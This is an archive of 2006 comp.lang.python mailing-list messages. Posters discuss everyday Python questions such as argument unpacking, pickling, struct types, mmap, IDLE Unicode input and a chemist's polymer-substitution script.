         ['monday', 'Monday', 'tuesday', 'Tuesday']

     The CAPS_FIRST option can be used to put all words beginning
     with caps before words beginning in lowercase.

         >>> collated(t, 'CAPS_FIRST')
         ['Monday', 'monday', 'Tuesday', 'tuesday']

     The LOWERCASE_FIRST option can be used to put all words beginning
     with lowercase before words beginning in caps.

         >>> collated(t, 'LOWERCASE_FIRST')
         ['monday', 'Monday', 'tuesday', 'Tuesday']

     Note: CAPS_FIRST also reverses the ascii behavior of putting all
     lowercase words before all uppercase words.

     The HYPHEN_AS_SPACE option causes hyphens to be equal to space.

         >>> t = ['a-b', 'b-a', 'aa-b', 'bb-a']
         >>> collated(t)
         ['aa-b', 'a-b', 'b-a', 'bb-a']

         >>> collated(t, 'HYPHEN_AS_SPACE')
         ['a-b', 'aa-b', 'b-a', 'bb-a']


     The IGNORE_LEADING_WS and UNDERSCORE_AS_SPACE options can be
     used together to improve ordering in some situations.

         >>> t = ['sum', '__str__', 'about', '  round']
         >>> collated(t)
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, 'IGNORE_LEADING_WS')
         ['__str__', 'about', '  round', 'sum']

         >>> collated(t, 'UNDERSCORE_AS_SPACE')
         ['  round', '__str__', 'about', 'sum']

         >>> collated(t, 'IGNORE_LEADING_WS UNDERSCORE_AS_SPACE')
         ['about', '  round', '__str__', 'sum']


     The NUMERICAL option orders sequences of digits as numerals.

         >>> t = ['a5', 'a40', '4abc', '20abc', 'a10.2', '13.5b', 'b2']
         >>> collated(t, 'NUMERICAL')
         ['4abc', '13.5b', '20abc', 'a5', 'a10.2', 'a40', 'b2']


     The IGNORE_COMMAS option prevents commas from seperating numerals.

         >>> t = ['a5', 'a4,000', '500b', '100,000b']
         >>> collated(t, 'NUMERICAL IGNORE_COMMAS')
         ['500b', '100,000b', 'a5', 'a4,000']


     The PERIOD_AS_COMMAS option can be used to sort version numbers
     and other decimal seperated numbers.

         >>> t = ['5.1.1', '5.10.12','5.2.2', '5.2.19' ]
         >>> collated(t, 'NUMERICAL PERIOD_AS_SPACE')
         ['5.1.1', '5.2.2', '5.2.19', '5.10.12']

     Collate also can be done in place by using collate() instead of
     collated().

         >>> t = ['Fred', 'Ron', 'Carol', 'Bob']
         >>> collate(t)
         >>> t
         ['Bob', 'Carol', 'Fred', 'Ron']

     """
     import doctest
     doctest.testmod()

if __name__ == '__main__':
     test()


---end---


From Hakusa at gmail.com  Sun Oct 29 23:18:07 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 29 Oct 2006 20:18:07 -0800
Subject: Very simple request about argument setting.
In-Reply-To: <1162177851.172060.228610@m7g2000cwm.googlegroups.com>
References: <1162173597.849028.25940@m7g2000cwm.googlegroups.com>
	<1162177851.172060.228610@m7g2000cwm.googlegroups.com>
Message-ID: <1162181887.815509.95420@m7g2000cwm.googlegroups.com>


ArdPy wrote:
> There is an error in the syntax the star must prefix the variable name
> not suffix it.
> Then the items variable will accept the parameter value as a tuple.

Hmm, tuples are immutable, right? I need something mutable so that when
the player picks up an item, it's no longer in the room.

Besides which, I've been playing with this whole thing in the
interactive interpreter:

>>> def shuf(x,*foo, **bar):
... 	return x, foo
...
>>> x,foo,bar = shuf(1,2,3,4,5,6,7,8)
Traceback (most recent call last):
  File "<interactive input>", line 1, in <module>
ValueError: need more than 2 values to unpack

I remember that two stars is for the second tuple, but how do I
distinguish between what var is for which tuple? I've tried using
brackets, braces, prenthisies, nothing seems to work. So what I am
doing wrong?



From bernhard.voigt at gmail.com  Wed Oct 18 08:50:11 2006
From: bernhard.voigt at gmail.com (bernhard.voigt at gmail.com)
Date: 18 Oct 2006 05:50:11 -0700
Subject: Numpy-f2py troubles
In-Reply-To: <mailman.624.1161074085.11739.python-list@python.org>
References: <mailman.624.1161074085.11739.python-list@python.org>
Message-ID: <1161175811.329206.18750@m7g2000cwm.googlegroups.com>

Hi Andrea,

you should post this to the numpy list:
numpy-discussion at lists.sourceforge.net

Cheers! Bernhard

Andrea Gavana schrieb:

> Hello NG,
>
>     I am using the latest Numpy release 1.0rc2 which includes F2PY. I
> have switched to Python 2.5 so this is the only alternative I have
> (IIUC). With Python 2.4, I was able to build a very simple fortran
> extension without problems.
>
> My extension contains 4 subroutines that scan a file and do simple operations.
> Now, attempting to run the second subroutine as:
>
> dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens)
>
> Prompt a ValueError from Python:
>
>   File "D:\MyProjects\Carolina\MainPanel.py", line 894, in ReadSMSPECFile
>     dprops, dwgnames, dunits = readsmspec.readsmspec(smspec, dimens)
> ValueError: data type must provide an itemsize
>
> ?!? I have never seen anything like that and googling around didn't
> give me any answer. The function accepts two inputs:
>
> - smspec: a filename, maximum 1000 characters long
> - dimens: an integer
>
> and returns 3 array of chars, each of them with size (8, dimens). Does
> anyone know what I may be doing wrong?
>
> Thank you very much for every pointer.
>
>
> --
> Andrea.
>
> "Imagination Is The Only Weapon In The War Against Reality."
> http://xoomer.virgilio.it/infinity77/



From nelson1977 at gmail.com  Wed Oct 11 03:53:01 2006
From: nelson1977 at gmail.com (nelson -)
Date: Wed, 11 Oct 2006 09:53:01 +0200
Subject: 3D Vector Type Line-Drawing Program
In-Reply-To: <f44750160610110050s2e811d09ke571735f16da47@mail.gmail.com>
References: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com>
	<qbBWg.21268$Ij.20727@newssvr14.news.prodigy.com>
	<452b17a7$1@nntp0.pdx.net> <8xYWg.5851$fl.4129@dukeread08>
	<f44750160610110050s2e811d09ke571735f16da47@mail.gmail.com>
Message-ID: <f44750160610110053p7cf833afh1de6232d1f8db8a2@mail.gmail.com>

hi,


> > Take a look at VPython -- easy to start, 3-D display (wall-eye /
> > cross-eye) easy to run on.
>
> I really like VPython because of how easy it is to use once you are familiar
> with it.
>
> Is there a way to have the display show a wire frame image instead of shaded
> shapes?  And with or without hidden line removal?
>

i'm goind the same. I looked to vpython, but i can't make it go with
wxpython. So i make a slightly different question. There is a library
that fits well with wxpython that have features similar to vpython?

thanks,
  nelson


From python.list at tim.thechases.com  Thu Oct  5 16:27:55 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Thu, 05 Oct 2006 15:27:55 -0500
Subject: Request for recommendations: shared database without a server
In-Reply-To: <4ol6dhFf62gdU1@uni-berlin.de>
References: <1160077602.190028.286290@h48g2000cwc.googlegroups.com>
	<4ol6dhFf62gdU1@uni-berlin.de>
Message-ID: <45256ACB.3060709@tim.thechases.com>

> Access might really be the best solution. It is pretty good
> for what it is supposed to do, and the quick prototyping and
> UI-designing are strong arguments for it, especially if there
> already is a bias towards it.
> 
> I also _think_ that the whole "db on a shared volume" thing
> works comparably neat.

Just a caveat from past experience...I've had trouble with Access 
(at least older version) sharing DBs on a network drive.  It 
didn't work /too/ badly, but it scaled horribly.  3 concurrent 
users was noticably slow.  5 concurrent users was painful.  Above 
10 users was agony.

Fortunately, I was one of the ones redesigning the replacement 
system to actually use a database server.  Granted, as merely a 
PFY at the time, I didn't have much input into the choice of 
server (MS-SQLServer) nor into the language (Visual FoxPro), just 
got to execute the plans of the higher-ups.

-tkc







From ajones at thegrantinstitute.com  Thu Oct 12 23:31:53 2006
From: ajones at thegrantinstitute.com (Anthony Jones)
Date: Thu, 12 Oct 2006 20:31:53 -0700
Subject: Professional Grant Proposal Writing Workshop (University of
	Washington, Seattle - December 2006)
Message-ID: <20061012203153.2661156@thegrantinstitute.com>


-------------- next part --------------
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From michele.simionato at gmail.com  Wed Oct 18 11:24:00 2006
From: michele.simionato at gmail.com (Michele Simionato)
Date: 18 Oct 2006 08:24:00 -0700
Subject: Save/Store whole class (or another object) in a file
In-Reply-To: <1161182001.167535.87690@i3g2000cwc.googlegroups.com>
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
	<slrnej9vdl.t6r.sybrenUSE@schuimige.stuvel.eu>
	<1161182001.167535.87690@i3g2000cwc.googlegroups.com>
Message-ID: <1161185040.366100.313350@h48g2000cwc.googlegroups.com>

alexLIGO at googlemail.com wrote:
> Hi,
>
> thanks for the reply,but unfortunately this does not work with the type
> of classes I am dealing with. When trying to pickle the class I get the
> following error:
>
>  File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex
>     raise TypeError("a class that defines __slots__ without "
> TypeError: a class that defines __slots__ without defining __getstate__
> cannot be pickled
>
> So there is something missing in this class? Or any other idea how to
> do this?
>
> Alex

yes, read the documentation:
http://docs.python.org/dev/lib/pickle-inst.html

 Michele Simionato



From alistair.king at helsinki.fi  Tue Oct 31 06:35:51 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Tue, 31 Oct 2006 13:35:51 +0200
Subject: create global variables?-the full story
In-Reply-To: <ei76rh$f4p$1@sea.gmane.org>
References: <1162275890.4546ec32cd351@www2.helsinki.fi>	<ei732n$2hg$1@sea.gmane.org>	<45471B66.9060702@helsinki.fi>
	<ei76rh$f4p$1@sea.gmane.org>
Message-ID: <45473517.9040008@helsinki.fi>

Steve Holden wrote:
> Alistair King wrote:
>   
>> Steve Holden wrote:
>>
>>     
>>> aking at mappi.helsinki.fi wrote:
>>>  
>>>
>>>       
>>>> J. Clifford Dyer wrote:
>>>>
>>>>    
>>>>
>>>>         
>>>>> Alistair King wrote:
>>>>>      
>>>>>           
>>> [... advice and help ...]
>>>
>>>  
>>>
>>>       
>>>> this worked a treat:
>>>>
>>>> def monoVarcalc(atom):
>>>>
>>>>   a = atom + 'aa'
>>>>   Xaa = a.strip('\'')
>>>>   m = atom + 'ma'
>>>>   Xma = m.strip('\'')
>>>>   Xaa = DS1v.get(atom)
>>>>   Xma = pt.get(atom)
>>>>   return Xaa, Xma
>>>>
>>>>
>>>> Caa, Cma = monoVarcalc('C')
>>>>
>>>>    
>>>>         
>>> In which case I suspect you will find that this works just as well:
>>>
>>> def monoVarcalc(atom):
>>>
>>>    Xaa = DS1v.get(atom)
>>>    Xma = pt.get(atom)
>>>    return Xaa, Xma
>>>
>>>
>>> Unless there is something decidedly odd about the side-effects of the 
>>> statements I've removed, since you never appear to use the values of a, 
>>> m, Xaa and Xma there seems little point in calculation them.
>>>
>>> regards
>>>  Steve
>>>  
>>>       
>> Yup...it works..but now i have to create a dictionary of 'a' and 'm',
>> ie... "Xaa" and "Xma" string, key:value pairs so i can use other
>> functions on the Xaa, Xma variables by iterating over them and
>> retrieving the values from the variables. I think if i just input Xaa
>> and Xma, only the values associated with those variables will go into
>> the dictionary and ill just be iterating over nonsence.....
>>
>> atomsmasses = {}
>>
>> def monoVarcalc(atom):
>> a = atom + 'aa'
>> m = atom + 'ma'
>> atomsmasses[a]=m
>> Xaa = a.strip('\'')
>> Xma = m.strip('\'')
>> Xma = pt.get(atom)
>> if DS1v.get(atom) != None:
>> Xaa = DS1v.get(atom)
>> else:
>> Xaa = 0
>> return Xaa, Xma
>>
>> Caa, Cma = monoVarcalc('C')
>> Oaa, Oma = monoVarcalc('O')
>> Haa, Hma = monoVarcalc('H')
>> Naa, Nma = monoVarcalc('N')
>> Saa, Sma = monoVarcalc('S')
>> Claa, Clma = monoVarcalc('Cl')
>> Braa, Brma = monoVarcalc('Br')
>> Znaa, Znma = monoVarcalc('Zn')
>>
>>
>>
>> i think? :)
>> thanks
>>
>> a
>>
>>     
> No fair: you only just added atomsmasses! ;-)
>
> However, it seems to me that your atomsmasses dictionary is going to be 
> entirely predictable, and you are still focusing on storing the *names* 
> of things rather than building up a usable data structure. Indeed I 
> suspect that your problem can be solved using only the names of the 
> elements, and not the names of the variables that hold various 
> attributes of the elements.
>
> Perhaps if you explain in plain English what you *really* want to do we 
> can help you find a more Pythonic solution. It'll probably end up 
> something like this:
>
> mass = {}
> for element in ['C', 'O', ..., 'Zn']
>      mass[element] = monoVarcalc(element)
>
> But I could, of course, be completely wrong ... it wouldn't be the first 
> time. Do you understand what I'm saying?
>
> regards
>   Steve
>   
OK...

from the start.

im trying to develop a simple command line application for determining
the degree of substitution (DS) on a polymer backbone from elemental
analysis, i.e., the % weights of different elements in the
monomer-substituent compound ( i want each element to give a result and
heaviest atoms give the most accurate results).

most basic comp chem programs use input files but i dont know anything
about file iteration yet and want the program to be as user friendly as
possible..i.e. command line prompt. GUI would be great but too much for
me at this stage

at the start of the script i have 2 dictionaries 1) containing every
atom in the periodic table with associated isotopic average masses 2)
containing the molecular forumla of the monomer unit...eg for cellulose
AGU {'C': 6, 'H': 10, 'O': 5}.

the basic steps are

1. calculate the weight percentage values for each atom in the monomer
2. iterate into dictionaries from DS=0 - DS=15 (0.00005 step) the
projected % values for the monomer plus substituent, for EACH atom in
the compound.
3. find the (local) minimum from each dictionary/atom to give the
appropriate DS value.

*Note* I have to iterate ALL the values as there is a non-linear
relationship between % values and DS due to the different atomic weights
The computer seems to cope with this in about 10 seconds with the above
parameters and about 8 elements for the iteration step

I have a script which works perfectly from some time ago but the problem
is, some of the samples contain excess water so i was going to use the
heaviest atom to give the most accurate DS value i could and then adjust
the polymer back bone dictionary to include the initial substituent from
step 3. Then do the calculation again for water {'H': 2, 'O': 1} as the
new substituent. Once i determine the new 'DS' value of water its simple
to recalculate the % values...iterate..find (local) minima and get more
accurate DS values for all the heavy atoms (not including Hydrogen or
Oxygen).
...........................................................................................................

I would like to get the script running now to get some results from our
experimental data which shoudnt take too long but eventually i dont want
to rely on the monomer dictionary...just input the elements and number
of atoms of each element in the starting monomer and further
substituents...therefore adapting the program to not only cellulose as a
polymer but all polymers and small organic molecules, perhaps even
proteins of knows elemental analysis.

For this im taking my basic script that i started with, as a beginner to
python and all programming languages, and trying to make functions of
all the calculations i have to do. I guess that i could eventually use
just the elements as references in datastructures..i.e. 'C', 'H'..etc..
but would like to have many variables bound to those data structures

One other thing is that it would be nice to create a 3D iterated 'array'
of the % values to find the local minima but i really dont have a clue
how to do this.

Any comments would be appreciated as i am a beginner and just went out
and did this how i thought it should be done. Hope this is not too much
for peeps

thanks

Ali

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From http  Fri Oct 20 20:58:13 2006
From: http (Paul Rubin)
Date: 20 Oct 2006 17:58:13 -0700
Subject: Tkinter--does anyone use it for sophisticated GUI development?
References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET>
	<7xac3ra6wg.fsf@ruckus.brouhaha.com>
	<45396AB4.60502@cosc.canterbury.ac.nz>
Message-ID: <7xods6trh6.fsf@ruckus.brouhaha.com>

greg <greg at cosc.canterbury.ac.nz> writes:
> Have you seen PyGUI? It's my attempt at creating a GUI toolkit for
> Python that doesn't suck. I'd be interested to know if you think
> I've come anywhere near to succeeding.
> 
> http://www.cosc.canterbury.ac.nz/greg.ewing/python_gui/

I hadn't seen it.  I just spent a couple minutes looking at the docs.
I didn't really get that much sense of what it's like.  I may look at
it some more later.  However, like tkinter, it seems pretty low level.
I do like that it doesn't rely on the user knowing anything about a
completely separate language, in order to program the gui from Python.


From parautenbach at gmail.com  Thu Oct 19 10:06:33 2006
From: parautenbach at gmail.com (Pieter Rautenbach)
Date: 19 Oct 2006 07:06:33 -0700
Subject: Type discrepancy using struct.unpack
In-Reply-To: <1161256915.902138.156710@k70g2000cwa.googlegroups.com>
References: <1161255700.665211.145360@i42g2000cwa.googlegroups.com>
	<1161256915.902138.156710@k70g2000cwa.googlegroups.com>
Message-ID: <1161266793.688672.155520@k70g2000cwa.googlegroups.com>


Leo Kislov wrote:
> Pieter Rautenbach wrote:
> > Hallo,
> >
> > I have a 64 bit server with CentOS 4.3 installed, running Python.
> >
> > [pymsnt at lutetium pymsnt-0.11.2]$ uname -a
> > Linux lutetium.mxit.co.za 2.6.9-34.ELsmp #1 SMP Thu Mar 9 06:23:23 GMT
> > 2006 x86_64 x86_64 x86_64 GNU/Linux
> >
> > Consider the following two snippets, issuing a struct.unpack(...) using
> > Python 2.3.4 and Python 2.5 respectively.
> >
> > [pymsnt at lutetium pymsnt-0.11.2]$ python
> > Python 2.5 (r25:51908, Oct 17 2006, 10:34:59)
> > [GCC 3.4.5 20051201 (Red Hat 3.4.5-2)] on linux2
> > Type "help", "copyright", "credits" or "license" for more information.
> > >>> import struct
> > >>> print type(struct.unpack(">L", "xxxx")[0])
> > <type 'int'>
> > >>>
> >
> > [pymsnt at lutetium pymsnt-0.11.2]$ /usr/bin/python2.3
> > Python 2.3.4 (#1, Feb 17 2005, 21:01:10)
> > [GCC 3.4.3 20041212 (Red Hat 3.4.3-9.EL4)] on linux2
> > Type "help", "copyright", "credits" or "license" for more information.
> > >>> import struct
> > >>> print type(struct.unpack(">L", "xxxx")[0])
> > <type 'long'>
> > >>>
> >
> > I would expect <type 'long'> in both cases. Why is this not so?
>
> http://mail.python.org/pipermail/python-dev/2006-May/065199.html
> 
>   -- Leo.

Thanks a lot!



From rtw at freenet.co.uk  Tue Oct 24 11:24:32 2006
From: rtw at freenet.co.uk (Rob Williscroft)
Date: Tue, 24 Oct 2006 10:24:32 -0500
Subject: forcing a definition to be called on attribute change
References: <mailman.1048.1161680224.11739.python-list@python.org>
	<453dec91$0$23269$426a34cc@news.free.fr>
Message-ID: <Xns9866A6B3F4017rtwfreenetREMOVEcouk@216.196.109.145>

Bruno Desthuilliers wrote in news:453dec91$0$23269$426a34cc at news.free.fr in 
comp.lang.python:

>> class cSphere() :
> 
> OT : prefixing classes names with 'c' is totally unpythonic.

My understanding of "pythonic" is that its about how you use the 
language not what style you code in.

Here's a variation of the usual example of pythonic:

use:

  for i in some_list:
    pass

not:

  i = 0
  while i < len( some_list ):
    i += 1

IOW, pythonic code is code that uses the features of the language
for the purpose they are intended, not code that ignores python's
features and tries to adapt features or idiom's from other languages.

I guess we could claim that one-liners are unpythonic (because 
indentation is a language feature), but claiming a all PEP 8 
violating styles are unpyhonic seems to me to be devaluing the 
term.

Rob.
-- 
http://www.victim-prime.dsl.pipex.com/


From evaisse at gmail.com  Sat Oct 28 09:01:10 2006
From: evaisse at gmail.com (evaisse)
Date: 28 Oct 2006 06:01:10 -0700
Subject: Mass-Renaming folders win32
Message-ID: <1162040470.766276.75900@m73g2000cwd.googlegroups.com>

I've a folder structure like this :

"Folder A"
|--> "1"
|--> "2"
---> "3"

"Folder B"
|--> "4"
---> "5"


And I want to obtain a structure like this :

"Folder A - 1"
"Folder A - 2"
"Folder A - 3"
"Folder B - 4"
"Folder B - 5"

Can someone help me ? I am python beginner



From alistair.king at helsinki.fi  Mon Oct 30 05:38:47 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Mon, 30 Oct 2006 12:38:47 +0200
Subject: dict problem
In-Reply-To: <87pscgmrp1.fsf@benfinney.id.au>
References: <mailman.1163.1161770037.11739.python-list@python.org>	<1161772147.307847.65630@h48g2000cwc.googlegroups.com>	<87y7r4mwso.fsf@benfinney.id.au>
	<453F5401.3020607@helsinki.fi> <87pscgmrp1.fsf@benfinney.id.au>
Message-ID: <4545D637.6000205@helsinki.fi>

Ben Finney wrote:
> Alistair King <alistair.king at helsinki.fi> writes:
>
>   
>> Ben Finney wrote:
>>     
>>> Even better, work on a minimal program to do nothing but reproduce
>>> the unexpected behaviour. If you get to such a program and still
>>> don't understand, then post it here so others can run it
>>> themselves and explain.
>>>       
>> ive checked the values and XDS is actually returning a string where i
>> want a float ie '123.45' not 123.45.
>>     
>
> Can you please post a small, complete program that shows the behaviour
> you want explained?
>
> You get this program by writing it -- either by cutting away
> irrelevant parts of the existing program, or (better) writing a new
> program from scratch that does nothing except demonstrate the
> behaviour.
>
> Note that in the process of getting such a program behaving this way,
> you may end up understanding the problem better.
>
>   
i have seemed to work out most of the problems from the previous code,
now i have:
...................................................................................................................................................

heavy = raw_input("\n\n@@@@@@@@@@@@@@@@@@\n\nPlease enter the heaviest
atom for which you obtained percentage values for, but not Oxygen, eg,
'C', 'N', 'S', 'Br'...: ")

print DSvalues

def updateDS1v(Fxas, x):
if Fxas != 0:
value = DSvalues.get(heavy)
floatvalue = float(value)
atoms = DS1v.get(x) + Fxas*floatvalue
DS1v[x] = atoms

updateDS1v(FCas, 'C')

print DS1v
...................................................................................................................................................

the problem now is converting badly formatted dictionary values into floats
ive been trying something like this, where 'value' is a typical entry
into the dictionary:
...................................................................................................................................................

IDLE 1.1
>>> value = "'0.064250000000001084'"
>>> print float(value)

and get the error, in IDLE and the code as:

Traceback (most recent call last):
File "<pyshell#3>", line 1, in -toplevel-
print float(value)
ValueError: invalid literal for float(): '0.064250000000001084'

...................................................................................................................................................

Is there any other way of removing double and single quotes from a
number, as a string, to give the float value again?

I know it would be easier to create a properly formatted dictionary
again and i will do that but it would be good to know as i want to get
this program running properly to get some results i need for work.
Everything else seems to be working fine but this.

thanks

a

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From martin at v.loewis.de  Wed Oct 25 07:23:40 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 13:23:40 +0200
Subject: using mmap on large (> 2 Gig) files
In-Reply-To: <1161728341.087325.274570@b28g2000cwb.googlegroups.com>
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161651103.875210.170140@i42g2000cwa.googlegroups.com>
	<453E4E01.9050304@v.loewis.de>
	<1161728341.087325.274570@b28g2000cwb.googlegroups.com>
Message-ID: <453f493c$0$25252$9b622d9e@news.freenet.de>

sturlamolden schrieb:
> 2. The OS may be stupid. Mapping a large file may be a major slowdown
> simply because the memory mapping is implemented suboptimally inside
> the OS. For example it may try to load and synchronise huge portions of
> the file that you don't need.

Can you give an example of an operating system that behaves that way?
To my knowledge, all current systems integrating memory mapping somehow
with the page/buffer caches, using various strategies to write-back
(or just discard in case of no writes) pages that haven't been used
for a while.

> The missing offset argument is essential for getting adequate
> performance from a memory-mapped file object.

I very much question that statement. Do you have any numbers to
prove it?

Regards,
Martin


From serestaAtwanadooDotnl  Thu Oct  5 13:47:47 2006
From: serestaAtwanadooDotnl (goyatlah)
Date: Thu, 05 Oct 2006 19:47:47 +0200
Subject: Restoring override of urllib.URLopener.open_https
References: <eg3772$cqd@cs.vu.nl>
Message-ID: <16hai25meev3316o19tgmh646futjblfgl@4ax.com>

I think that you need a superclass above the M2Crypto one, and change
the open_https method back to the urllibs one.

Moi
Dolf

On Thu, 5 Oct 2006 15:09:22 GMT, Bakker A <arno at cs.vu.nl> wrote:

>Hi,
>
>the M2Crypto library overrides the urllib.URLopener.open_https method,
>causing a urllib.urlopen to a https: server to fail in my
>case. My python is not that strong, so is there a way to set
>urllib.URLopener.open_https back to the original code? I prefer not to
>modify M2Crypto.
>
>Thanks,
>	Arno Bakker
>	



From hanumizzle at gmail.com  Tue Oct 10 22:13:19 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 22:13:19 -0400
Subject: People's names
In-Reply-To: <m2slhw2iq0.fsf@ordesa.local>
References: <JnzSg.36$1n3.471@news.tufts.edu> <yCQSg.41$1n3.351@news.tufts.edu>
	<1159493520.289291.276850@b28g2000cwb.googlegroups.com>
	<mailman.912.1159494600.10491.python-list@python.org>
	<eg98qb$6a3$1@lust.ihug.co.nz>
	<mailman.93.1160373988.11739.python-list@python.org>
	<egd0k3$u3r$2@lust.ihug.co.nz>
	<mailman.171.1160464326.11739.python-list@python.org>
	<PIJWg.121635$1a4.2250811@phobos.telenet-ops.be>
	<m2slhw2iq0.fsf@ordesa.local>
Message-ID: <463ff4860610101913q3f2a96r7f058dfb720dcf62@mail.gmail.com>

On 10/10/06, Piet van Oostrum <piet at cs.uu.nl> wrote:
> >>>>> Roel Schroeven <rschroev_nospam_ml at fastmail.fm> (RS) wrote:
>
> >RS> It's the same here in Belgium. Except that our Van is with a capital V in
> >RS> most cases; if it's a lower v it either indicates nobility or a Dutch name.
>
> >RS> I don't see it as a problem. I prefer having Van Straeten and Van Stralen
> >RS> next to each other than having them mixed up with names without Van like
> >RS> this:
> >RS> Straeten, Van
> >RS> Straetmans
> >RS> Stralen, Van
>
> In Holland it is sorted without the 'van' 'de' etc.

Which was my original point in mentioning similar Portuguese names. :)

BTW, do Dutch/Flemish family names now follow the trend of dropping
declension, as seen in both languages (dialects?) in general: e.g.,
'de' instead of 'der'?

-- Theerasak


From carl at personnelware.com  Wed Oct 25 10:18:54 2006
From: carl at personnelware.com (Carl K)
Date: Wed, 25 Oct 2006 09:18:54 -0500
Subject: py and Dabo class in chi
Message-ID: <zJSdnfH30Zmu7qLYnZ2dnUVZ_sSdnZ2d@comcast.com>

I am organizing 3 python events in Chicago:  2 free, one cheap.

1st is really just an extended VFP users group meeting featuring Ed Leafe, one 
of the Dabo developers.  I am getting a larger room to accommodate the python 
group too.  The meeting is Nov 14 5:30pm in the loop:  (not sure yet where, 
watch this page http://chipy.org/EdOnDabo )

There is some interest in an afternoon talk at 1:00 to 4:30.  If I can get 5 or 
so people to commit to showing up, then Ed will talk then too.  Probably worth 
staying for the evening presentation too - the Q/A will be worth as much as his 
presentation.

I am hosting a 2 day mini event too: http://chipy.org/BootCampy - nothing like a 
fest.  For this I am planing on spending a few $ on an instructor, which I have 
not found yet - I have some nibbles - but hoping to get a few more instead of 
just going with the first to respond.  So if anyone is interested in either 
attending or instructing, please let me know.

And of course, please forward this to any other list/group that may have some 
interest.

If you are interested, or are near Chicago, please join the chipy list:
http://mail.python.org/mailman/listinfo/chicago
very low post rate - about 5 per day, mostly about the monthly meetings.

Carl Karsten


From fujimoto at sakushin-u.ac.jp  Wed Oct 11 21:25:24 2006
From: fujimoto at sakushin-u.ac.jp (kazuo fujimoto)
Date: Thu, 12 Oct 2006 10:25:24 +0900
Subject: Typing UTF-8 characters in IDLE
In-Reply-To: <1159644898.993497.93150@m73g2000cwd.googlegroups.com>
References: <20060930212154.C1D1.FUJIMOTO@sakushin-u.ac.jp>
	<1159644898.993497.93150@m73g2000cwd.googlegroups.com>
Message-ID: <20061012102230.9ED9.FUJIMOTO@sakushin-u.ac.jp>

----
# I replied to this message by 'Reply' function of my mailer. So this
message was not sent to python - list, so I put it again to the
python-list.
#
-----
Thank you for your reply.

On 30 Sep 2006 12:34:59 -0700
"mudengke at gmail.com" <mudengke at gmail.com> wrote:

> thanks, it is useful.
> 
> but ,why this line "encoding = locale.getdefaultlocale()[1]" in
> original file"IOBinding.py " ,
> don't work?

If my windows set "endoding" to utf-8 here, it  will work for my
puropose.

But windows only can set encoding to default setting of my Local, for me
it is cp932, Japanese. So if I input Hnagul here, 

"Unsupported Characters in input" error will arise.

So I am expecting that Idle will have a settings in its configration to
encoding to UTF-8 , inspite of locale.getdefaultlocale()[1].

Ofcourse it is not good for winodws95/98 users, but very useful for
Windows XP users.

> it should be work

reagrds.

kazuo

> kazuo fujimoto wrote:
> > Ricky,
> >
> > I found your message now, because I also would encounter the same
> > problem.
> >
> >
> > > A few unicode tutorials on the web show that it's possible to type
> > > unicode characters into the IDLE gui...
> > >
> > > However, when i type korean (hangul) characters it complains:
> > >
> > > Unsupported Characters in input
> > >
> > > I don't have a great understanding of unicode, but when I use a UTF-8
> > > source file with korean strings in, and run it as a CGI script it
> > > works fine.
> > >
> > > I'm using python 2.3.3 on win XP.
> > >
> > > Any tutorials / info anyone could point me to? Thanks...
> >
> > Now I am using Hangle with Japaese.
> >
> > What I did is as follow.
> >
> > My Python is now 2.4.3
> >
> > 1) open the IOBinding.py in $python/idellib
> > 2) see the block just after line35, and insert one line.
> > ----
> > encoding = "ascii"                                       # line 35
> > if sys.platform == 'win32':
> >     # On Windows, we could use "mbcs". However, to give the user
> >     # a portable encoding name, we need to find the code page
> >     try:
> >         encoding = locale.getdefaultlocale()[1]
> >         codecs.lookup(encoding)
> >     except LookupError:
> >         pass
> >     encoding = 'utf-8' ## <- this line force the encoding to utf-8.
> > -----
> > 3) save the file and quit Idle and reopen Idle.
> >
> > I hope my experience will solve your problem.
> >
> > (It has passed 2 years and more, so you might already solve the problem.
> > I you know better solution, please inform me.)
> > 
> > kazuo
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

--------------------------------------------------- 
kazuo fujimoto <fujimoto at sakushin-u.ac.jp>
Sakushin Gakuin University, Faculty Human & Culture
http://www.sakushin-u.ac.jp/~fujimoto
PGP:D664 D542 D578 5B39  BB2E 50AA 6FEC 2FE7
----------------------------------------------------



From gagsl-py at yahoo.com.ar  Tue Oct 17 13:54:45 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Tue, 17 Oct 2006 14:54:45 -0300
Subject: dynamic module loading via __import__, nonetype?
In-Reply-To: <4533B441.9010405@cp.dias.ie>
References: <4533B441.9010405@cp.dias.ie>
Message-ID: <7.0.1.0.0.20061017144849.03c8ac20@yahoo.com.ar>

At Monday 16/10/2006 13:33, John Allman wrote:

>If i manually import a module, this method works a treat, however if i
>attempt to dynamically load a module at runtime the create method fails
>with the following error:
>
>TypeError: 'NoneType' object is not callable

Can you cut down a reproducible test case, with *only* this behavior 
and nothing more?

>I'm not subscribed to the list, so please cc me in any replies.

You should... I can CC this reply to you, and maybe others when 
replying directly. But after a few followups, even your name may 
become lost in the cyberspace...


-- 
Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



